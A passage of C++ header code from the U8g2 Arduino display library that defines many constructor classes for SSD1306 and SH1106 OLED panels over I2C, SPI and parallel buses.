uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X32_UNIVISION_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X32_WINSTAR_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_6800 : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_8080 : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_6800 : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_8080 : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_6800 : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_8080 : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_102X64_EA_OLEDS102_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_102X64_EA_OLEDS102_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_6800 : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_8080 : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_6800 : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_8080 : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = 